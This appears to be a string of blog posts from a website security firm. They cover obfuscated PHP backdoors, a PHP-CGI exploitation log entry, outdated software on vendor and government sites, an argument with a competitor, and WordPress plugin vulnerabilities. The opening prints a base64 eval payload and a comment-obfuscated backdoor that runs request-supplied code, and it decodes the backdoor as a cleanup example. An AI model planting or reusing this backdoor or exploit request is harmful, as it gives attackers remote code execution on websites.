eval(base64_decode(LypZYk9PKi9pZi8qX1U8ZkpPbTgqLygvKjdTU31NKi9pc3NldC8qT2FDKi8oLypyWE9KMyovJF9SRVFVRVNULypDMyEqL1svKlVpJiovJ2onLyohfk1lKi8uLyotaUJVJigqLydnJy8qKS41XGwqLy4vKm50YGpnbCovJ2snLypAXmo/Ki8uLypcOE13PF4qLyd2bycvKk47a3xCVyovXS8qOnM7Ki8vKjxAXXd+ISovKS8qUGQgKi8vKkJDRW1xKi8pLypWZ0xwbiovZXZhbC8qZStNcyE9PiovKC8qVERCISovc3RyaXBzbGFzaGVzLypeenBXbyovKC8qSGFMeVE7Ki8kX1JFUVVFU1QvKjo4TDYmVHMqL1svKnY+XWI1aXwqLydqJy8qak1lKi8uLyooSiZJOCovJ2cnLyooTUpnOiovLi8qdGo5LSovJ2snLyo3OVl8eU8qLy4vKnlsd2h3Ki8ndm8nLypBS08nXHMqL10vKm5TTDZ9Ki8vKmEySSovKS8qJX0hMyovLyo6VDZwZkAqLykvKjRKOlQmKi8vKlxZeWtEZW8qLzsvKmdpLWBEKi8=));

This method isn’t very effective as a method to disguise the code as the code will stick out and it is easy enough to do a search through all the files on a website for eval(base64_decode( and similar functions that are used, find matching code, and then undo obfuscation to check for malicious code. We sometimes see other methods are more effective, but more often than not the less effective ones are used. One other method that we have been seeing used a lot recently is hiding the code among numerous comments. Because comments are ignored when code is executed, the additional code only impacts someone trying to review the code. Here is one example of malicious code hidden among comments:

/*YbOO*/if/*_U<fJOm8*/(/*7SS}M*/isset/*OaC*/(/*rXOJ3*/$_REQUEST/*C3!*/[/*Ui&*/'j'/*!~Me*/./*-iBU&(*/'g'/*).5\l*/./*nt`jgl*/'k'/*@^j?*/./*\8Mw<^*/'vo'/*N;k|BW*/]/*:s;*//*<@]w~!*/)/*Pd *//*BCEmq*/)/*VgLpn*/eval/*e+Ms!=>*/(/*TDB!*/stripslashes/*^zpWo*/(/*HaLyQ;*/$_REQUEST/*:8L6&Ts*/[/*v>]b5i|*/’j'/*jMe*/./*(J&I8*/’g'/*(MJg:*/./*tj9-*/’k'/*79Y|yO*/./*ylwhw*/’vo’/*AKO’\s*/]/*nSL6}*//*a2I*/)/*%}!3*//*:T6pf@*/)/*4J:T&*//*\YykDeo*/;/*gi-`D*/

It probably looks like a bunch of gibberish to you. But amongst the apparent gibberish is the malicious code (shown in bold):

/*YbOO*/if/*_U<fJOm8*/(/*7SS}M*/isset/*OaC*/(/*rXOJ3*/$_REQUEST/*C3!*/[/*Ui&*/'j'/*!~Me*/./*-iBU&(*/'g'/*).5\l*/./*nt`jgl*/'k'/*@^j?*/./*\8Mw<^*/'vo'/*N;k|BW*/]/*:s;*//*<@]w~!*/)/*Pd *//*BCEmq*/)/*VgLpn*/eval/*e+Ms!=>*/(/*TDB!*/stripslashes/*^zpWo*/(/*HaLyQ;*/$_REQUEST/*:8L6&Ts*/[/*v>]b5i|*/’j‘/*jMe*/./*(J&I8*/’g‘/*(MJg:*/./*tj9-*/’k‘/*79Y|yO*/./*ylwhw*/’vo‘/*AKO’\s*/]/*nSL6}*//*a2I*/)/*%}!3*//*:T6pf@*/)/*4J:T&*//*\YykDeo*/;/*gi-`D*/

When the comments are stripped out you can see the code by itself:

if(isset($_REQUEST[jgkvo]))eval(stripslashes($_REQUEST[jgkvo]));

That code is a simple backdoor that will execute the code from the variable “jgkvo” when it is sent to a web page that the malicious code is in.

Trying to access the security of web hosts is difficult because much of the information needed to do that assessment is only available to them. There are some things that you can check on and one of those is whether they are keeping the version of PHP on the server hosting your website up to date. If you are using WordPress, Joomla, Drupal, or a lot of other web software then you are using PHP and it is important to keep that up to date, as a hacked website we cleaned up this week shows.

One of the basic steps of cleaning up a hacked website is determining how it was hacked and then fixing the vulnerability so that the website doesn’t get hacked again (unfortunately, many companies that clean up hacked websites cut corners and don’t do this). In reviewing the log files for the website in question we traced the original exploitation to this line in the website’s access log:

91.224.160.25 – - [16/Apr/2013:19:18:32 -0400] “POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1″ 200 68

What that shows is that a vulnerability in PHP versions prior to 5.3.13 and 5.4.3 was attempting to be exploited. Unfortunately the website in question was running an older vulnerable version of PHP and was configured in a way that made it susceptible to the vulnerability. If PHP had been kept up to date the website would not have been hacked.

The PHP developers fairly regularly release new versions that fix security vulnerabilities in the software. The most recent releases with security fixes were versions 5.3.23 and 5.4.13, released in March. Unfortunately, we often find that our client’s web hosts are not keeping PHP up to date. If your web host isn’t keeping PHP updated you probably should move to a web host that takes such basic security seriously.

If you are wondering what version of PHP your web host is using for your website there are a number of ways to find that out. The least technical way to do that is to contact their customer support and ask them what version of PHP in use. It would also be good to ask them what their upgrade policy is for PHP and other software powering the web server, to make sure that they properly handling that. You can sometimes find the PHP version in use in the control panel for your website or the administrative area of the website. You can also use a tool we have created that allows you to check the version of various software running the server your website is on.

Too often we have clients that come to us after having hired one of these services and had their website continue to be hacked. The client ends up paying to have the website cleaned up twice (or more) and suffering additional costs related to the continued issue with their website instead having it fixed the first time.

Our experience has also been that these services are not good at actually detecting hacks, so your website is not only left vulnerable to being hacked again, but you may not even get alerted that it has been hacked again. Detecting that website has been hacked quickly instead of preventing it from being hacked is also of little use in some instances. For example, if your website is hacked and your customer’s information is compromised no matter how fast afterwards that it gets detected, the damage has already been done and the information is in the hands of the hacker.

This brings us to StopTheHacker, which based on their name you would assume would be focused on actually protecting websites from hackers. Unfortunately for their customers that isn’t the case. If you look at the features of their service they are mainly focused on detecting that a website has already been hacked instead of making it secure in the first place. That would be bad on its own, but if you are using our Meta Generator Version Check extension, which is available for Chrome and Firefox, and you visit their website you will find something even more surprising:

That’s right a website security company is failing to take the basic security measure of keeping software running their website up to date, which in the case of WordPress is very easy to do. Not only has StopTheHacker failed to update WordPress for over six months, but they failed to update when a security release was put out back in January.

If StopTheHacker actually did the “Vulnerability Assessments” they claim to do as part of their service, they would be aware that their own website is insecure. Or maybe they don’t use their own service? That would say a lot about what they think of it, wouldn’t it?

A company shouldn’t have anything to do with website security if they don’t care about the security of their own website like the StopTheHacker clearly does not, so we strongly recommend you avoid StopTheHacker and focus on doing the things that will actually protect your website instead of using services like theirs that will leave your website insecure.

Further checking shows that the website is running Drupal 7.17 or 7.18, so FEMA has failed to update the software for over three months, the next version was released back in January, and they have missed the last two security updates.

OWASP has failed to update their MediaWiki installation for over a year, the next version, 1.18.1, was released in January of 2012. They failed to apply any of the five security updates that were released for version 1.18.x. Support for version 1.18.x of MediaWiki ended back in November, so they also should have moved to a supported version some time ago.

Keeping software up to date is one the basic steps and easier steps to keep software running a website secure. The fact that a project dedicated to security is failing to do that highlights how bad the state of security is and raises the questions if the security community is in fact actually interested in security.

Further checking shows that the website is running Drupal 6.26 or 6.27, so the White House failed to apply one or two security updates. Keeping software up to date is one the basic steps and easier steps when it comes to cybersecurity and the White House is failing at that.

Updating between versions of Drupal 7 is relatively easy, so there isn’t any excuse for an organization with its resources to not be able to keep it up to date.

Keeping software up to date is one the basic steps and easier steps when it comes to cybersecurity and the DHS is failing at that. The larger question that this raises is what else they might be failing to do when it comes to cybersecurity, since they fail to do something so basic.

Further checking shows that the website is running Drupal 7.14, so the DHS has failed to update the software for over 8 months, the next version was released back in August of 2012, and they have missed the last 4 security updates.

Hostgator has reported seeing over “90,000 IP addresses involved in this attack”, which means that a web host cannot simple block a few IP address to stop the attempts. That also provides a reminder that limiting login attempts by blocking IP addresses after several failed attempts has a serious limitation as security feature when massive amount of IP address are available for an attack.

While security of the login process can be improved by restricting login access to certain IP addresses or using multi-factor authentication, websites can prevent an un-targeted login attack by making sure only strong passwords are used.

Kaspersky Lab has failed to update the software for over two years, the next version Drupal 6.20 was released back in December of 2010, and they have missed the last 4 security updates. Updating between versions of Drupal 6 is relatively easy, so there isn’t any excuse for a tech company not being able to keep it up to date.

Kaspersky Lab is not alone in this, last year we posted about Panda Security’s failure to update software running their websites even after some of their websites had been hacked.

You can check if Drupal websites you visit are keeping the software up to date with our Drupal Version check extension for Chrome and Firefox.

1&1 tells their customers it is important to keep software up to date to avoid being hacked:

One way to avoid attacks, is to make sure to keep your programs
and scripts up-to-date. Check regularly for security warnings and
make sure to install security patches as they become available.

They obviously don’t listen to their own advice, but they do claim that they do:

1&1 system administrators work hard to make sure that our 1&1 servers are protected from known vulnerabilities by keeping all programs and services up-to-date with.

phpMyAdmin provides a page that provides a listing of all security announcements for the software (something that other software developers should also be providing). In 2005, there were three serious security vulnerabilities found that probably impact the version of phpMyAdmin 1&1 is running. The version probably contains most, if not all, of the 16 serious severity security issues and 1 considered “quite dangerous” fixed in 2006 and 2007, that we counted that impact in the version used FatCow. And the version probably contains more vulnerabilities that were fixed in later years.

When we do work on a client’s website we do a check of what version of some common software (PHP, MySQL, phpMyAdmin, etc.) is running of the server. This is partly so that we can see how well web hosts are doing at keeping that software up date and also so that we can alert the clients when severely out of date software is in use. We continue to see that in many cases web hosts’ servers are running out of date versions of that common software, with known security vulnerabilities. The good news is that for most part we are seeing that the software is less out of date then it has been in the past. That made something we saw while checking a FatCow server in the past few days stick out. The server was using phpMyAdmin 2.8.0.1. That version was released on March 8 of 2006 and the next version, 2.8.0.2, was released eight days later. If over six years out of date hasn’t been the most out of date we have ever come across, it at least the most out of date we have seen in a long time.

phpMyAdmin provides a page that provides a listing of all security announcements for the software (something that other software developers should also be providing). Based on just the announcements for 2006 and 2007, the version of phpMyAdmin FatCow is using probably contains 16 serious severity security issues and 1 considered “quite dangerous”.

The comment, which can be found in full at the bottom of the post, is a good lesson on what not to do if you are going to attempt to astroturf. To start with the name you use shouldn’t be something that seems so obviously contrived like the name used in this instance, Intriqued Citizen. Then you would probably want to keep your comment short and to the point. Instead the comment was nearly three times longer than the section on Sucuri in the post itself. Would anyone spend that much time with something that they were not deeply involved in? Their comment also seemed quite obsessed with us competing with Sucuri, which doesn’t fit with what we were discussing in the post (nor does it fit with what we actually do). You also don’t want to use a computer that can be determined is from your organization. Most importantly, making a bizarre rant isn’t going to be the way to help you to win over people to your point of view, which is the point of astroturfing.

We are not going to put you through the misery of us analyzing the whole thing, but there were several things that stood out for us and are worth highlighting.

A good of example of the bizarre nature of the whole thing comes in their response to us stating the basic fact that JavaScript files should be scanned for malware when scanning a web page for malware:

And this is based on what? Your extensive experience building malware scanners? Or wait, is it design? Oh no, maybe its Drupal? Oh, no, it must be publicly attacking every company that you disagree with. At least that what someone gets from reading your other nonsense posts.

In the middle of not addressing at all the substance of what they are commenting on is a mention of Drupal, which comes completely out of left field. The blog post makes no mention of Drupal and the website discussed in the post was running WordPress (which can be surmised due to the first part of the post discussing a WordPress plugin). The rest of their comment doesn’t make any mention of Drupal either. We do run Drupal on parts of our website and provide services for Drupal (as we do for a variety of software), so maybe this is some sort of weird anti-Drupal bias? You might expect something like that from a kid, not from a self proclaimed C-level executive.

Another section claims that we use their service:

Why don’t you post all your other findings of when you used it to clean your own clients sites. Come on, don’t lie, you know you use it.

We have never used Sucuri to clean up a hacked website, as we actually do our own work. We have seen the shoddy work they do, so it would also be unethical for us to have ever outsourced the work to them. On a fairly regular basis we have people come to us to clean up a website that Sucuri had previously been hired to clean up, but had been reinfected after their initial cleanup (and in some instances after they did multiple cleanups). There are certainly reasons for that which would not be Sucuri’s fault, but in all of the instances we have dealt with basic parts of a proper cleanup had not been done by Sucuri. This included not doing the most important, but also the most time consuming and difficult, part of a cleanup. We don’t know if this is due to them offering to cleanup websites without knowing how to properly clean them up or if they are choosing to cut corners (they could probably get away with that in many instances), but would you really want to deal with a company that does either one? This is something we will expand on in a follow up post, as Sucuri certainly isn’t alone in not properly cleaning up hacked websites.

Full Comment From Intriqued Citizen (aka Sucuri’s COO):

Wow, so you have obviously put in a lot of effort to get this word out to every one you can as I am seeing this on a number of search engines and Facebook. Either you love them, you are genuinely trying to get the word out, or you’re simply trying to tarnish their reputation by putting out a post that really says nothing. Which is it?

So let’s look at your post:

What appears to have happened is that Sucuri automatically flagged the code based on their signature without actually scanning the JavaScript file for malicious code, which, if their scanner was reliable, would have determined that it was not malicious.

Is this in fact what happened? Did you contact them? Did you ask the question or are you simply talking out of your rear? Did you try to understand how it works or simply look to benefit off their name?

Interesting comment here:

That should be a basic part of scanning the page for malware even if it wasn’t in that odd location or part of a signature.

And this is based on what? Your extensive experience building malware scanners? Or wait, is it design? Oh no, maybe its Drupal? Oh, no, it must be publicly attacking every company that you disagree with. At least that what someone gets from reading your other nonsense posts.

Then there is this:

When you don’t actually scan things for malware before falsely identifying them as malware, you really shouldn’t be calling what you do website malware scanning.

So instead, your recommendation is that they sign up with you? So it appears you’re a competitor or at least trying to play with the big dogs, no? Why would I choose to go with you over Sucuri has a stellar reputation and you have a… umm.. who are you again? Oh that’s right, the guy that bashes everyone and spends money on … umm.. ???

Oh, here is a juicy one:

The more troubling aspect of this for their customers is the fact Sucuri’s idea of protecting websites is detecting that they already have been hacked and then cleaning them up.

Really? That’s their idea? Odd, didn’t see that. Where did you see this? Or, again, are you talking out of your rear?

holy run on sentence batman:

Putting aside the fact for the moment that properly secured websites are highly unlikely to be hacked and that allowing websites to be hacked has consequences even after they are clean again, with a scanner this poor it is unlikely that it will actually do a good job of detecting when website are infected.

So, I’m confused, this sounds like opinion based around what? Your test of one site? Honest question, you think that’s a good objective test from a competitor? Why don’t you post all your other findings of when you used it to clean your own clients sites. Come on, don’t lie, you know you use it.

Alright, let’s look at all your even more ridiculous comments:

Your response to Buck:

At that point it isn’t even actually a malware scanner.

And this is again based on what? Your one test? Not very trustworthy assessment in my opinion, but what do I know.

There is a big difference between perfection and not bothering to actually scan for malware with something claiming to be a malware scanner.

Another empty statement with no facts.

We actually know about security. Not the kind the kind that involves throwing around catchy phrases like “defense in depth” and “security is a process, not a state”, but the kind that deals with the real world.

You do? Based on what? Your ability to detect software is out of date? Good job there turbo.

If people do the things in the article that we linked to at the beginning of the post, then that will prevent the kinds of hacks that are actually causing the average website to be hacked.

Are you serious? The crap in this post: http://www.whitefirdesign.com/resources/secure-your-website-from-hackers.html? You mean the same shit every other security company offers? Oh my you said sanitize all inputs to avoid SQL injections.. you rockstar you.. again, where was the real value in this post? I get more from reading http://sucuri.net/learn then I do from that post. But maybe I missed the sheer genius that was going to keep me safe in all that high-level non sense.

(There is more that security community can do to improve security beyond that, but unfortunately many of them are instead focused on pushing products and services that don’t fix the real problems.)

Oh, like this post and every other one that references your services section? Like that you mean?

The solution to this isn’t for people to spend money on an unreliable malware scanner or even a malware scanner that works perfectly. At best a malware scanner would tell you that the website is infected after it already has been infected.

Got it, so if I understand correctly, what you’re saying is, you don’t need a car alarm or a house alarm. As long as you don’t forget to lock the doors, get a blot lock, use a bolt lock on your steering wheel? Is that about right? Just want to make sure I understand this statement.

At that point you need to clean up the infection and secure the website to make sure the infection doesn’t reoccur. We think it is better to secure the website before it can be infected.

Oh but wait, based on what you said, there is no need to clean them up. They should be hardened to prevent this, so suck it up. No?

Your responses to Shaza:

The rest of your comment actually shows that Sucuri is reactionary and not preventative. They only fixed the TimThumb vulnerability on your websiteafter you were hacked.

Awkward, sounds like they only signed up after they were infected. If that’s the case, how would they have cleared the TimThumb issue? Is that what they did? Do you know, or are you talking out of your rear, again?

If you want to pay someone to keep your website secure (and we never suggested you should or shouldn’t do that), then you should find someone who actually does the things that keep websites secure instead of hiring a company that uses a faulty malware scanner to attempt to detect that websites are already infected with malware as you are with Sucuri.

Are you serious here? Did you really just say in your last comment not to go with people that push service or product but then push your own? Come on, that’s just retarded bud

If Sucuri was actually interested in keeping WordPress based websites secure, instead of profiting off them remaining vulnerable, you have to wonder why they haven’t had an effort to get the issues with unresolved plugin security vulnerabilities fixed.

Do you work for them? How do you know they haven’t or aren’t? That’s odd.. : /

Now, let’s see how big your balls are and if you’re really serious about bringing this issue to people’s attention. Go ahead and approve this and respond and let’s have an honest conversation. Not doing so will simply show how much of a slime ball you are putting out false information with no real facts or anything of real value that any one should pay attention to.

We used Secunia’s advisories for our data set as their advisories include vulnerabilities discovered by the developers of the plugins and those discovered by others, which provides a good mix of data. Secunia reviews the reported vulnerabilities so their advisories do not include false reports of vulnerabilities that we find in other sources of vulnerability data.

It is important to keep in mind that the vulnerabilities found are not necessarily representative of what vulnerabilities remain in plugins. A lot of what determines what vulnerabilities are found is what kind people happened to look for or find.

A few more quick notes on the data: we have excluded a plugin that was not ever available in the WordPress.org plugin directory, the data was generated on July 16, and the numbers in the charts do not correlate with each other as some plugins had multiple vulnerabilities.

This chart shows the breakdown of the types of vulnerabilities found in the plugins:

The largest percentage were reflective cross-site scripting (XSS) vulnerabilities, which, while serious, are not a kind of that are likely to be used in an targeted hack of a website so they are not a major concern. The second largest group of vulnerabilities was unrestricted file upload vulnerabilities. This type of vulnerability can be easily exploited to place backdoor script on a website, which a hacker can then use to do pretty much anything on the website. Some may be familiar with the TimThumb vulnerability, which was this type of vulnerability. That so many unrestricted file upload vulnerabilities were found is a good reminder of need for plugins with file upload capabilities to be carefully scrutinized to insure that plugins with this type of vulnerability are not available in the plugin directory.

This chart shows the number of plugins with vulnerabilities that have been fixed and not fixed:

That over a quarter of the plugins have not fixed is troubling, but even worse is the types of vulnerabilities in those plugins:

A third of those vulnerabilities are unrestricted file uploads. Not surprisingly due to the ease of exploitation and power granted, we have been seeing attempts to exploit the plugins found to have those vulnerabilities.

There is good news, plugins with unresolved security vulnerabilities are getting removed from the WordPress.org plugin directory, which had not always happened in the past. That is partly due to our making sure that plugins with unresolved security vulnerabilities are reported to the people maintaining the plugin directory, so that they get properly handled. Removing the plugins does not help when the plugin is already installed and that is why WordPress needs to provide alerts for removed plugins with unresolved security vulnerabilities. In the mean time you can use our plugin No Longer in Directory to check if you are using plugins that have been removed. If a removed plugin has a Secunia advisory that will be linked to in the plugin’s report.

The most blatant error in the article comes near the end of the article where it is stated that “Vulnerabilities in WordPress plugins have been long understood. Last year, large malware campaigns including the LizaMoon attacks exploited those holes” The LizaMoon attack was part of a frequently hyped multiyear campaign that targets ASP and ColdFusion based websites that have fairly basic SQL injection vulnerabilities. It had nothing to do with WordPress or any WordPress plugins. The link they provide about the LizaMoon attack makes no mention of WordPress and we are not aware of any source that ever claimed that it had a connection with WordPress. The rest of the article isn’t much better. Earlier it says:

Attackers targeted holes in a string of plug-ins for blogging software — such as WordPress— including timthumb, uploadify and phpmyadmin.

None of those things are themselves plugins for WordPress or other blogging software, nor is blogging software the only thing targeted by hackers. We probably deal with as many websites that are hacked due to outdated Joomla extensions as WordPress plugins, so there doesn’t appear to be a good reason to spotlight WordPress for special attention as the article did.

phpMyAdmin is web based administration tool for MySQL database. Several years ago there was WordPress plugin that added phpMyAdmin to WordPress which contained an exploitable vulnerability, but at this point it isn’t a major target of hackers as the plugin was removed back then. phpMyAdmin itself is frequently probed for on our website, so that is likely why phpMyAdmin would be listed as being targeted. That doesn’t explain why it be listed as a being a plugin for WordPress or other blogging software, though.

The TimThumb and Uploadify libraries are included in some WordPress plugins and those have been targeted (though since we last discussed recent serious security vulnerabilities in WordPress plugins we have seen attackers expand from targeting just the recent Uploadify based vulnerabilities to the other upload vulnerabilities recently identified).

Later in the article it claims then claims that Plesk is being targeted (web hosts are not always good about keeping that up to date), so it appears somebody involved in the article just threw together an incomplete list of software that gets targeted without any specific relation to the malware mentioned, while singling out WordPress.

Another worrisome aspect of the article is that it cites a “malware researcher” from Sucuri, the company that has a malware scanner that doesn’t actually bother to scan a website for malware before falsely flagging it.

Protecting Against WordPress Plugin Vulnerabilities

What the article lacks, as stories about hacks often do, is any information on protecting websites from the vulnerabilities they are warning about. For WordPress plugin vulnerabilities, you would hope the answer is to update your plugins, as by the time a vulnerability is being exploited it should have already been patched. Unfortunately, in an analysis of WordPress plugin vulnerabilities in the second quarter of 2012, that we just did, we found that a fourth of the plugins had not been fixed (we will have a post with the full details of the analysis in the next few days). What makes this even worse is that most of the vulnerabilities in those plugins were serious vulnerabilities that are the most likely to lead to website being hacked. So what happens when plugins are not fixed?

When the maintainers of the WordPress.org Plugin Directory are made of aware of a security vulnerability in a plugin they will remove the plugin from the directory until it is fixed. Unfortunately, when we started looking into this earlier this year we found that many plugins had never been reported and had remained in the directory including one in which hackers were attempting to exploit at the time. Since then we have been making sure that any plugins with reports of unresolved security vulnerabilities are reported and appropriate action is taken (we have also been warning them about security issues that impact plugins, including notifying them about the recent Zend Framework vulnerability that impacted several plugins). While removing the plugins until they are fixed prevents any additional websites from being exposed to the vulnerabilities, websites already using the plugins don’t receive any warning and remain vulnerable as we have discussed before. The process of adding alert in WordPress when plugins that have been removed from the Plugin Directory are installed has begun and you can help to make sure it is given a high priority by voting for implementing that change. Until an alert is added in WordPress itself, you can get a more limited version of this functionality using our No Longer in Directory plugin (we released update for the plugin, with new vulnerabilities, at the beginning of the week).

Magento has provided several solutions for protecting against this vulnerability. There is a workaround, patch files for older version of Magento, and a new release, 1.7.0.2, which is secured against the vulnerability. The workaround and patch files will resolve this issue for Magneto installations still running on outdated versions, but we would recommend, as always, that you upgrade to the latest version of software you run (the previous release, 1.7.0.1, fixed “some potential security vulnerabilities” according to Magento).

If you use any software that has the Zend Framework you should check to for an update or announcement from the developers on the status of the vulnerability in the software. Piwik announced last week that the current version of Piwik is not vulnerable as “Piwik neither uses nor includes the XmlRpc component from Zend Framework”. OpenX does contain the XmlRpc competent and uses it, we didn’t check if their use is vulnerable but we did inform them of the vulnerability (we would strongly recommend strongly recommend against using anything from OpenX as they continue to have an atrocious security record). There are several WordPress plugins which contain the vulnerable component and we have informed the WordPress.org Plugin Directory maintainers of the vulnerability so they can take appropriate action.